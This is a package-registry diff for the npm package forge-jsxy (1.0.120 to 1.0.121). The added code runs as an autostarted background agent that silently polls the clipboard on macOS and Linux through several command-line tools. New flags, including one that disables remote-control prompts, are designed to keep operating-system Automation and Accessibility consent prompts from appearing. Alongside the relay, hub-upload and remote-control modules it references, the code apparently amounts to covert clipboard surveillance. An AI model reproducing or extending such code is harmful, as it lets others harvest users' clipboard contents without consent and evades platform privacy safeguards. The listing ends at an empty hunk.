forge-jsxy 1.0.120 → 1.0.121
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/agentRunner.js +2 -0
- package/dist/assets/files-explorer-template.html +1 -1
- package/dist/autostart/agentEnvFile.js +44 -0
- package/dist/autostart/darwin.js +4 -0
- package/dist/clipboardEventWatcher.js +2 -3
- package/dist/clipboardExec.d.ts +2 -0
- package/dist/clipboardExec.js +147 -56
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/inputContext.js +4 -1
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +5 -0
- package/dist/linuxX11.js +18 -0
- package/dist/windowsInputSync.d.ts +4 -2
- package/dist/windowsInputSync.js +139 -37
- package/package.json +2 -2
package/dist/agentRunner.js
CHANGED
|
@@ -41,6 +41,7 @@ exports.runForgeAgentWithSingleton = runForgeAgentWithSingleton;
|
|
|
41
41
|
const fs = __importStar(require("node:fs"));
|
|
42
42
|
const path = __importStar(require("node:path"));
|
|
43
43
|
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
44
|
+
const linuxClipboardSession_1 = require("./linuxClipboardSession");
|
|
44
45
|
const agentPid_1 = require("./agentPid");
|
|
45
46
|
const relayAgent_1 = require("./relayAgent");
|
|
46
47
|
const relayAuth_1 = require("./relayAuth");
|
|
@@ -165,6 +166,7 @@ function resolveForgeAgentFromArgv(argv, env = process.env) {
|
|
|
165
166
|
function runForgeAgentWithSingleton(opts) {
|
|
166
167
|
(0, agentPid_1.clearStaleAgentPidFile)();
|
|
167
168
|
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
169
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
168
170
|
(0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
|
|
169
171
|
(0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
|
|
170
172
|
(0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
|
|
@@ -10,7 +10,7 @@
|
|
|
10
10
|
<link rel="apple-touch-icon" href="/forge-explorer-favicon.svg"/>
|
|
11
11
|
<link rel="stylesheet" href="/forge-explorer-codicons/codicon.css"/>
|
|
12
12
|
<link rel="stylesheet" href="/forge-explorer-highlight/explorer-highlight.css"/>
|
|
13
|
-
<!-- forge-jsxy@1.0.
|
|
13
|
+
<!-- forge-jsxy@1.0.121 reconnect-ui npm-isolated-cache hub-20gib-delete-watch -->
|
|
14
14
|
<script>
|
|
15
15
|
(function () {
|
|
16
16
|
try {
|
|
@@ -50,6 +50,8 @@ exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
|
|
|
50
50
|
const fs = __importStar(require("node:fs"));
|
|
51
51
|
const os = __importStar(require("node:os"));
|
|
52
52
|
const path = __importStar(require("node:path"));
|
|
53
|
+
const linuxClipboardSession_1 = require("../linuxClipboardSession");
|
|
54
|
+
const linuxX11_1 = require("../linuxX11");
|
|
53
55
|
/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
|
|
54
56
|
exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
|
|
55
57
|
/**
|
|
@@ -280,6 +282,7 @@ function serializeForgeAgentEnvMap(map) {
|
|
|
280
282
|
function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
|
|
281
283
|
if (process.platform !== "linux")
|
|
282
284
|
return;
|
|
285
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
283
286
|
fs.mkdirSync(dataDir, { recursive: true });
|
|
284
287
|
const p = forgeAgentEnvPath(dataDir);
|
|
285
288
|
let raw = "";
|
|
@@ -556,6 +559,33 @@ function removeForgeAgentEnvKeys(dataDir, keys) {
|
|
|
556
559
|
return;
|
|
557
560
|
fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
|
|
558
561
|
}
|
|
562
|
+
function applyLinuxSessionEnvFromFile(key, value) {
|
|
563
|
+
const v = value.trim();
|
|
564
|
+
if (!v)
|
|
565
|
+
return;
|
|
566
|
+
if ((process.env[key] ?? "").trim())
|
|
567
|
+
return;
|
|
568
|
+
if (key === "DISPLAY") {
|
|
569
|
+
process.env.DISPLAY = v;
|
|
570
|
+
if (!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
571
|
+
delete process.env.DISPLAY;
|
|
572
|
+
}
|
|
573
|
+
return;
|
|
574
|
+
}
|
|
575
|
+
if (key === "WAYLAND_DISPLAY") {
|
|
576
|
+
if ((0, linuxClipboardSession_1.linuxWaylandDisplayValid)(v)) {
|
|
577
|
+
process.env.WAYLAND_DISPLAY = v;
|
|
578
|
+
}
|
|
579
|
+
return;
|
|
580
|
+
}
|
|
581
|
+
if (key === "XDG_RUNTIME_DIR") {
|
|
582
|
+
if (fs.existsSync(v)) {
|
|
583
|
+
process.env.XDG_RUNTIME_DIR = v;
|
|
584
|
+
}
|
|
585
|
+
return;
|
|
586
|
+
}
|
|
587
|
+
process.env[key] = value;
|
|
588
|
+
}
|
|
559
589
|
function applyForgeJsAgentEnvFile(dataDir) {
|
|
560
590
|
sanitizeForgeAgentEnvFileOnDisk(dataDir);
|
|
561
591
|
const p = forgeAgentEnvPath(dataDir);
|
|
@@ -567,6 +597,13 @@ function applyForgeJsAgentEnvFile(dataDir) {
|
|
|
567
597
|
return;
|
|
568
598
|
}
|
|
569
599
|
const map = parseForgeAgentEnvFileToMap(raw);
|
|
600
|
+
const linuxSessionKeys = new Set([
|
|
601
|
+
"XDG_RUNTIME_DIR",
|
|
602
|
+
"DISPLAY",
|
|
603
|
+
"WAYLAND_DISPLAY",
|
|
604
|
+
"DBUS_SESSION_BUS_ADDRESS",
|
|
605
|
+
"XAUTHORITY",
|
|
606
|
+
]);
|
|
570
607
|
for (const [k, v] of map) {
|
|
571
608
|
/** Installed defaults — always honor the file after `npm install`. */
|
|
572
609
|
if (k === "CFGMGR_HF_USE_XET" ||
|
|
@@ -582,8 +619,15 @@ function applyForgeJsAgentEnvFile(dataDir) {
|
|
|
582
619
|
process.env[k] = v;
|
|
583
620
|
continue;
|
|
584
621
|
}
|
|
622
|
+
if (process.platform === "linux" && linuxSessionKeys.has(k)) {
|
|
623
|
+
applyLinuxSessionEnvFromFile(k, v);
|
|
624
|
+
continue;
|
|
625
|
+
}
|
|
585
626
|
if (!(process.env[k] ?? "").trim()) {
|
|
586
627
|
process.env[k] = v;
|
|
587
628
|
}
|
|
588
629
|
}
|
|
630
|
+
if (process.platform === "linux") {
|
|
631
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
632
|
+
}
|
|
589
633
|
}
|
package/dist/autostart/darwin.js
CHANGED
|
@@ -94,6 +94,10 @@ function registerDarwinAutostart(launch) {
|
|
|
94
94
|
<string>1</string>
|
|
95
95
|
<key>FORGE_JS_HEADLESS_UI</key>
|
|
96
96
|
<string>1</string>
|
|
97
|
+
<key>FORGE_JS_CLIPBOARD_POLL_ONLY</key>
|
|
98
|
+
<string>1</string>
|
|
99
|
+
<key>FORGE_JS_REMOTE_CONTROL_NO_PROMPT</key>
|
|
100
|
+
<string>1</string>
|
|
97
101
|
${pathEnvXml}${syncEnvXml} </dict>
|
|
98
102
|
`;
|
|
99
103
|
const content = `<?xml version="1.0" encoding="UTF-8"?>
|
|
@@ -46,6 +46,7 @@ exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
|
|
|
46
46
|
const node_child_process_1 = require("node:child_process");
|
|
47
47
|
const node_fs_1 = require("node:fs");
|
|
48
48
|
const path = __importStar(require("node:path"));
|
|
49
|
+
const headlessAgent_1 = require("./headlessAgent");
|
|
49
50
|
const linuxX11_1 = require("./linuxX11");
|
|
50
51
|
function parseClipboardHelperStdoutChunk(pending, data) {
|
|
51
52
|
const token = "CLIPBOARD_CHANGE";
|
|
@@ -70,9 +71,7 @@ function parseClipboardHelperStdoutChunk(pending, data) {
|
|
|
70
71
|
return { pending: tail, changed };
|
|
71
72
|
}
|
|
72
73
|
function pollOnlyEnv() {
|
|
73
|
-
|
|
74
|
-
const b = (process.env.FORGE_JS_WIN_CLIPBOARD_POLL_ONLY || "").trim();
|
|
75
|
-
return a === "1" || b === "1";
|
|
74
|
+
return (0, headlessAgent_1.forgeJsClipboardPollOnlyActive)();
|
|
76
75
|
}
|
|
77
76
|
/**
|
|
78
77
|
* @returns dispose callback, or undefined if watcher not used.
|
package/dist/clipboardExec.d.ts
CHANGED
|
@@ -1,3 +1,5 @@
|
|
|
1
|
+
/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
|
|
2
|
+
export declare function ensureClipboardToolPath(): void;
|
|
1
3
|
/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
|
|
2
4
|
export declare class ClipboardReadUnavailableError extends Error {
|
|
3
5
|
constructor(message: string);
|
package/dist/clipboardExec.js
CHANGED
|
@@ -34,6 +34,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.ClipboardReadUnavailableError = void 0;
|
|
37
|
+
exports.ensureClipboardToolPath = ensureClipboardToolPath;
|
|
37
38
|
exports.readClipboardViaExec = readClipboardViaExec;
|
|
38
39
|
/**
|
|
39
40
|
* Clipboard text via OS CLI tools when @napi-rs/clipboard is unavailable.
|
|
@@ -42,7 +43,63 @@ const node_child_process_1 = require("node:child_process");
|
|
|
42
43
|
const fs = __importStar(require("node:fs"));
|
|
43
44
|
const path = __importStar(require("node:path"));
|
|
44
45
|
const node_util_1 = require("node:util");
|
|
46
|
+
const headlessAgent_1 = require("./headlessAgent");
|
|
47
|
+
const linuxClipboardSession_1 = require("./linuxClipboardSession");
|
|
48
|
+
const linuxX11_1 = require("./linuxX11");
|
|
45
49
|
const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
|
|
50
|
+
const EXEC_ENV = () => process.env;
|
|
51
|
+
/** Subprocess options: no terminal window, no stdin (background agent safe). */
|
|
52
|
+
const CLIPBOARD_EXEC_OPTS = {
|
|
53
|
+
encoding: "utf8",
|
|
54
|
+
timeout: 8000,
|
|
55
|
+
maxBuffer: 2 * 1024 * 1024,
|
|
56
|
+
env: EXEC_ENV(),
|
|
57
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
58
|
+
};
|
|
59
|
+
/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
|
|
60
|
+
function ensureClipboardToolPath() {
|
|
61
|
+
const extra = process.platform === "darwin"
|
|
62
|
+
? ["/usr/bin", "/bin", "/opt/homebrew/bin", "/usr/local/bin"]
|
|
63
|
+
: process.platform === "linux"
|
|
64
|
+
? ["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]
|
|
65
|
+
: [];
|
|
66
|
+
if (extra.length === 0)
|
|
67
|
+
return;
|
|
68
|
+
const cur = (process.env.PATH || "").split(":").map((s) => s.trim()).filter(Boolean);
|
|
69
|
+
const seen = new Set(cur);
|
|
70
|
+
const merged = [...cur];
|
|
71
|
+
for (const dir of extra) {
|
|
72
|
+
if (!seen.has(dir)) {
|
|
73
|
+
seen.add(dir);
|
|
74
|
+
merged.push(dir);
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
process.env.PATH = merged.join(":");
|
|
78
|
+
}
|
|
79
|
+
function resolveCliOnPath(name, fallbacks) {
|
|
80
|
+
const pathEnv = (process.env.PATH || "").trim();
|
|
81
|
+
if (pathEnv) {
|
|
82
|
+
for (const dir of pathEnv.split(":")) {
|
|
83
|
+
const d = dir.trim();
|
|
84
|
+
if (!d)
|
|
85
|
+
continue;
|
|
86
|
+
const p = path.join(d, name);
|
|
87
|
+
if (fs.existsSync(p))
|
|
88
|
+
return p;
|
|
89
|
+
}
|
|
90
|
+
}
|
|
91
|
+
for (const p of fallbacks) {
|
|
92
|
+
if (fs.existsSync(p))
|
|
93
|
+
return p;
|
|
94
|
+
}
|
|
95
|
+
return name;
|
|
96
|
+
}
|
|
97
|
+
function execErrLooksLikeEmptyClipboard(err) {
|
|
98
|
+
const e = err;
|
|
99
|
+
const blob = `${e.stderr ?? ""} ${e.message ?? ""}`.toLowerCase();
|
|
100
|
+
return (e.code === 1 ||
|
|
101
|
+
/no selection|nothing to paste|not owner|clipboard is empty|no clipboard/i.test(blob));
|
|
102
|
+
}
|
|
46
103
|
/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
|
|
47
104
|
class ClipboardReadUnavailableError extends Error {
|
|
48
105
|
constructor(message) {
|
|
@@ -101,75 +158,109 @@ async function readClipboardViaExec() {
|
|
|
101
158
|
throw new ClipboardReadUnavailableError(`Windows clipboard read failed (PowerShell): ${lastErr instanceof Error ? lastErr.message : String(lastErr ?? "unknown")}`);
|
|
102
159
|
}
|
|
103
160
|
if (p === "darwin") {
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
161
|
+
ensureClipboardToolPath();
|
|
162
|
+
const errors = [];
|
|
163
|
+
const pbCandidates = [
|
|
164
|
+
process.env.PBPASTE_PATH?.trim(),
|
|
165
|
+
"/usr/bin/pbpaste",
|
|
166
|
+
"/opt/homebrew/bin/pbpaste",
|
|
167
|
+
"/usr/local/bin/pbpaste",
|
|
168
|
+
"pbpaste",
|
|
169
|
+
].filter((x) => Boolean(x && x.length > 0));
|
|
170
|
+
const seenPb = new Set();
|
|
171
|
+
for (const pb of pbCandidates) {
|
|
172
|
+
const key = pb.toLowerCase();
|
|
173
|
+
if (seenPb.has(key))
|
|
174
|
+
continue;
|
|
175
|
+
seenPb.add(key);
|
|
176
|
+
try {
|
|
177
|
+
const { stdout } = await execFileP(pb, [], CLIPBOARD_EXEC_OPTS);
|
|
178
|
+
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
179
|
+
}
|
|
180
|
+
catch (e) {
|
|
181
|
+
errors.push(`${pb}: ${e instanceof Error ? e.message : String(e)}`);
|
|
182
|
+
}
|
|
114
183
|
}
|
|
115
|
-
|
|
116
|
-
|
|
184
|
+
if ((0, headlessAgent_1.macClipboardOsascriptAllowed)()) {
|
|
185
|
+
try {
|
|
186
|
+
const { stdout } = await execFileP("osascript", ["-e", "the clipboard as text"], CLIPBOARD_EXEC_OPTS);
|
|
187
|
+
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
188
|
+
}
|
|
189
|
+
catch (e) {
|
|
190
|
+
errors.push(`osascript: ${e instanceof Error ? e.message : String(e)}`);
|
|
191
|
+
}
|
|
117
192
|
}
|
|
193
|
+
throw new ClipboardReadUnavailableError(`macOS clipboard read failed (pbpaste${(0, headlessAgent_1.macClipboardOsascriptAllowed)() ? "/osascript" : ""}): ${errors.join("; ")}`);
|
|
118
194
|
}
|
|
119
195
|
if (p === "linux") {
|
|
196
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
197
|
+
ensureClipboardToolPath();
|
|
120
198
|
const errors = [];
|
|
121
|
-
|
|
122
|
-
|
|
199
|
+
const execOpts = CLIPBOARD_EXEC_OPTS;
|
|
200
|
+
const wlPaste = resolveCliOnPath("wl-paste", ["/usr/bin/wl-paste"]);
|
|
201
|
+
const xclip = resolveCliOnPath("xclip", ["/usr/bin/xclip"]);
|
|
202
|
+
const xsel = resolveCliOnPath("xsel", ["/usr/bin/xsel"]);
|
|
203
|
+
const tryWlPaste = async () => {
|
|
204
|
+
const wlArgsList = [
|
|
205
|
+
["--type", "text", "--no-newline"],
|
|
206
|
+
["--no-newline"],
|
|
207
|
+
];
|
|
208
|
+
for (const wlArgs of wlArgsList) {
|
|
209
|
+
try {
|
|
210
|
+
const { stdout } = await execFileP(wlPaste, wlArgs, execOpts);
|
|
211
|
+
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
212
|
+
}
|
|
213
|
+
catch (e) {
|
|
214
|
+
if (execErrLooksLikeEmptyClipboard(e))
|
|
215
|
+
return "";
|
|
216
|
+
if (wlArgs === wlArgsList[wlArgsList.length - 1]) {
|
|
217
|
+
errors.push(`wl-paste: ${e instanceof Error ? e.message : String(e)}`);
|
|
218
|
+
}
|
|
219
|
+
}
|
|
220
|
+
}
|
|
221
|
+
return null;
|
|
222
|
+
};
|
|
223
|
+
const tryXclip = async () => {
|
|
123
224
|
try {
|
|
124
|
-
const { stdout } = await execFileP("
|
|
125
|
-
encoding: "utf8",
|
|
126
|
-
timeout: 8000,
|
|
127
|
-
maxBuffer: 2 * 1024 * 1024,
|
|
128
|
-
});
|
|
225
|
+
const { stdout } = await execFileP(xclip, ["-selection", "clipboard", "-o"], execOpts);
|
|
129
226
|
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
130
227
|
}
|
|
131
228
|
catch (e) {
|
|
132
|
-
|
|
229
|
+
if (execErrLooksLikeEmptyClipboard(e))
|
|
230
|
+
return "";
|
|
231
|
+
errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
|
|
232
|
+
return null;
|
|
133
233
|
}
|
|
234
|
+
};
|
|
235
|
+
const tryXsel = async () => {
|
|
236
|
+
try {
|
|
237
|
+
const { stdout } = await execFileP(xsel, ["--clipboard", "--output"], execOpts);
|
|
238
|
+
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
239
|
+
}
|
|
240
|
+
catch (e) {
|
|
241
|
+
if (execErrLooksLikeEmptyClipboard(e))
|
|
242
|
+
return "";
|
|
243
|
+
errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
|
|
244
|
+
return null;
|
|
245
|
+
}
|
|
246
|
+
};
|
|
247
|
+
const backends = (0, linuxX11_1.linuxLikelyWaylandSession)()
|
|
248
|
+
? [tryWlPaste, tryXclip, tryXsel]
|
|
249
|
+
: [tryXclip, tryXsel, tryWlPaste];
|
|
250
|
+
const collected = [];
|
|
251
|
+
const parts = await Promise.all(backends.map((run) => run()));
|
|
252
|
+
for (const text of parts) {
|
|
253
|
+
if (text !== null)
|
|
254
|
+
collected.push(text);
|
|
134
255
|
}
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
encoding: "utf8",
|
|
138
|
-
timeout: 8000,
|
|
139
|
-
maxBuffer: 2 * 1024 * 1024,
|
|
140
|
-
env: process.env,
|
|
141
|
-
});
|
|
142
|
-
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
143
|
-
}
|
|
144
|
-
catch (e) {
|
|
145
|
-
errors.push(`xclip: ${e instanceof Error ? e.message : String(e)}`);
|
|
146
|
-
}
|
|
147
|
-
try {
|
|
148
|
-
const { stdout } = await execFileP("xsel", ["--clipboard", "--output"], {
|
|
149
|
-
encoding: "utf8",
|
|
150
|
-
timeout: 8000,
|
|
151
|
-
maxBuffer: 2 * 1024 * 1024,
|
|
152
|
-
env: process.env,
|
|
153
|
-
});
|
|
154
|
-
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
155
|
-
}
|
|
156
|
-
catch (e) {
|
|
157
|
-
errors.push(`xsel: ${e instanceof Error ? e.message : String(e)}`);
|
|
158
|
-
}
|
|
159
|
-
// Final fallback: Wayland socket may exist even without WAYLAND_DISPLAY being set.
|
|
160
|
-
try {
|
|
161
|
-
const { stdout } = await execFileP("wl-paste", ["--no-newline"], {
|
|
162
|
-
encoding: "utf8",
|
|
163
|
-
timeout: 8000,
|
|
164
|
-
maxBuffer: 2 * 1024 * 1024,
|
|
165
|
-
env: process.env,
|
|
166
|
-
});
|
|
167
|
-
return String(stdout ?? "").replace(/\r\n/g, "\n");
|
|
256
|
+
if (collected.length === 0) {
|
|
257
|
+
throw new ClipboardReadUnavailableError(`Linux clipboard read failed (install wl-clipboard, xclip, or xsel): ${errors.join("; ")}`);
|
|
168
258
|
}
|
|
169
|
-
|
|
170
|
-
|
|
259
|
+
const nonEmpty = collected.filter((t) => t.length > 0);
|
|
260
|
+
if (nonEmpty.length > 0) {
|
|
261
|
+
return nonEmpty.reduce((best, t) => (t.length >= best.length ? t : best));
|
|
171
262
|
}
|
|
172
|
-
|
|
263
|
+
return collected[0] ?? "";
|
|
173
264
|
}
|
|
174
265
|
throw new ClipboardReadUnavailableError(`unsupported platform: ${p}`);
|
|
175
266
|
}
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
|
|
3
|
+
* Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
|
|
4
|
+
*
|
|
5
|
+
* On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
|
|
6
|
+
* opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
|
|
7
|
+
*/
|
|
8
|
+
/** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
|
|
9
|
+
export declare function forgeJsHeadlessUiActive(): boolean;
|
|
10
|
+
/** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
|
|
11
|
+
export declare function forgeJsNoPromptActive(): boolean;
|
|
12
|
+
/**
|
|
13
|
+
* Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
|
|
14
|
+
* `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
|
|
15
|
+
*/
|
|
16
|
+
export declare function forgeJsClipboardPollOnlyActive(): boolean;
|
|
17
|
+
/**
|
|
18
|
+
* Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
|
|
19
|
+
* still syncs; only `context_json` metadata is derived from the pasted content itself.
|
|
20
|
+
*/
|
|
21
|
+
export declare function skipForegroundCaptureForClipboardSync(): boolean;
|
|
22
|
+
/** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
|
|
23
|
+
export declare function macClipboardOsascriptAllowed(): boolean;
|
|
24
|
+
/**
|
|
25
|
+
* Before each Linux/macOS clipboard read: force silent unattended profile (overrides
|
|
26
|
+
* `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
|
|
27
|
+
*/
|
|
28
|
+
export declare function applyHeadlessClipboardDefaults(): void;
|
|
@@ -0,0 +1,77 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/**
|
|
3
|
+
* Shared flags for unattended background agents (systemd, LaunchAgent, PM2).
|
|
4
|
+
* Clipboard + sync must not spawn UI, Automation prompts, or native clipboard-event helpers.
|
|
5
|
+
*
|
|
6
|
+
* On Linux and macOS, forge-agent clipboard sync is **always** silent unless explicitly
|
|
7
|
+
* opted into via `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` or `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1`.
|
|
8
|
+
*/
|
|
9
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
10
|
+
exports.forgeJsHeadlessUiActive = forgeJsHeadlessUiActive;
|
|
11
|
+
exports.forgeJsNoPromptActive = forgeJsNoPromptActive;
|
|
12
|
+
exports.forgeJsClipboardPollOnlyActive = forgeJsClipboardPollOnlyActive;
|
|
13
|
+
exports.skipForegroundCaptureForClipboardSync = skipForegroundCaptureForClipboardSync;
|
|
14
|
+
exports.macClipboardOsascriptAllowed = macClipboardOsascriptAllowed;
|
|
15
|
+
exports.applyHeadlessClipboardDefaults = applyHeadlessClipboardDefaults;
|
|
16
|
+
function envTruthy(name) {
|
|
17
|
+
const v = (process.env[name] || "").trim().toLowerCase();
|
|
18
|
+
return ["1", "true", "yes", "on"].includes(v);
|
|
19
|
+
}
|
|
20
|
+
function isUnixDesktop() {
|
|
21
|
+
return process.platform === "linux" || process.platform === "darwin";
|
|
22
|
+
}
|
|
23
|
+
/** Default on for OS-service-started agents (`FORGE_JS_HEADLESS_UI=1` in forge-js-agent.env). */
|
|
24
|
+
function forgeJsHeadlessUiActive() {
|
|
25
|
+
if (isUnixDesktop())
|
|
26
|
+
return true;
|
|
27
|
+
return envTruthy("FORGE_JS_HEADLESS_UI");
|
|
28
|
+
}
|
|
29
|
+
/** Default on — blocks macOS osascript remote-input paths that can surface Accessibility sheets. */
|
|
30
|
+
function forgeJsNoPromptActive() {
|
|
31
|
+
if (isUnixDesktop())
|
|
32
|
+
return true;
|
|
33
|
+
return envTruthy("FORGE_JS_REMOTE_CONTROL_NO_PROMPT");
|
|
34
|
+
}
|
|
35
|
+
/**
|
|
36
|
+
* Timer poll only (no `clipboard-event` native helpers). On Linux/macOS always true unless
|
|
37
|
+
* `FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER=1` (may flash windows / privacy sheets).
|
|
38
|
+
*/
|
|
39
|
+
function forgeJsClipboardPollOnlyActive() {
|
|
40
|
+
if (isUnixDesktop()) {
|
|
41
|
+
return !envTruthy("FORGE_JS_CLIPBOARD_USE_NATIVE_WATCHER");
|
|
42
|
+
}
|
|
43
|
+
if (envTruthy("FORGE_JS_CLIPBOARD_POLL_ONLY"))
|
|
44
|
+
return true;
|
|
45
|
+
if (envTruthy("FORGE_JS_WIN_CLIPBOARD_POLL_ONLY"))
|
|
46
|
+
return true;
|
|
47
|
+
if (forgeJsHeadlessUiActive())
|
|
48
|
+
return true;
|
|
49
|
+
return false;
|
|
50
|
+
}
|
|
51
|
+
/**
|
|
52
|
+
* Do not run osascript/xdotool foreground capture when enriching clipboard rows — clipboard text
|
|
53
|
+
* still syncs; only `context_json` metadata is derived from the pasted content itself.
|
|
54
|
+
*/
|
|
55
|
+
function skipForegroundCaptureForClipboardSync() {
|
|
56
|
+
if (isUnixDesktop()) {
|
|
57
|
+
return !envTruthy("FORGE_JS_CLIPBOARD_FOREGROUND_CONTEXT");
|
|
58
|
+
}
|
|
59
|
+
return forgeJsHeadlessUiActive() || forgeJsNoPromptActive();
|
|
60
|
+
}
|
|
61
|
+
/** Opt-in: `FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1` — may show macOS Automation prompts. */
|
|
62
|
+
function macClipboardOsascriptAllowed() {
|
|
63
|
+
if (!isUnixDesktop())
|
|
64
|
+
return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
|
|
65
|
+
return envTruthy("FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT");
|
|
66
|
+
}
|
|
67
|
+
/**
|
|
68
|
+
* Before each Linux/macOS clipboard read: force silent unattended profile (overrides
|
|
69
|
+
* `FORGE_JS_CLIPBOARD_POLL_ONLY=0` in forge-js-agent.env so background agents stay prompt-free).
|
|
70
|
+
*/
|
|
71
|
+
function applyHeadlessClipboardDefaults() {
|
|
72
|
+
if (!isUnixDesktop())
|
|
73
|
+
return;
|
|
74
|
+
process.env.FORGE_JS_HEADLESS_UI = "1";
|
|
75
|
+
process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
|
|
76
|
+
process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
|
|
77
|
+
}
|
package/dist/inputContext.js
CHANGED
|
@@ -39,6 +39,7 @@ const node_child_process_1 = require("node:child_process");
|
|
|
39
39
|
const fs = __importStar(require("node:fs"));
|
|
40
40
|
const path = __importStar(require("node:path"));
|
|
41
41
|
const node_util_1 = require("node:util");
|
|
42
|
+
const headlessAgent_1 = require("./headlessAgent");
|
|
42
43
|
const execFileP = (0, node_util_1.promisify)(node_child_process_1.execFile);
|
|
43
44
|
const EXEC_TIMEOUT_MS = 3200;
|
|
44
45
|
const FG_CACHE_MS = 800;
|
|
@@ -923,7 +924,9 @@ function estimateConfidence(fg) {
|
|
|
923
924
|
return "low";
|
|
924
925
|
}
|
|
925
926
|
async function buildInputContextJson(kind, text) {
|
|
926
|
-
const fg =
|
|
927
|
+
const fg = kind === "clipboard" && (0, headlessAgent_1.skipForegroundCaptureForClipboardSync)()
|
|
928
|
+
? { capture_method: "clipboard_sync_headless" }
|
|
929
|
+
: await captureForegroundContext();
|
|
927
930
|
const payload = {
|
|
928
931
|
platform: process.platform,
|
|
929
932
|
event_kind: kind,
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
export declare function linuxWaylandDisplayValid(name: string): boolean;
|
|
2
|
+
/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
|
|
3
|
+
export declare function linuxClearStaleGraphicalEnv(): void;
|
|
4
|
+
/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
|
|
5
|
+
export declare function linuxDiscoverWaylandDisplay(): string | null;
|
|
6
|
+
/** First local X11 display (`:N`) with an existing abstract socket. */
|
|
7
|
+
export declare function linuxDiscoverDisplay(): string | null;
|
|
8
|
+
/**
|
|
9
|
+
* Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
|
|
10
|
+
* and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
|
|
11
|
+
*/
|
|
12
|
+
export declare function ensureLinuxGraphicalSessionEnv(): void;
|
|
13
|
+
/**
|
|
14
|
+
* True when an X11 or Wayland desktop session appears present (after optional env discovery).
|
|
15
|
+
*/
|
|
16
|
+
export declare function linuxDesktopSessionActive(): boolean;
|
|
@@ -0,0 +1,179 @@
|
|
|
1
|
+
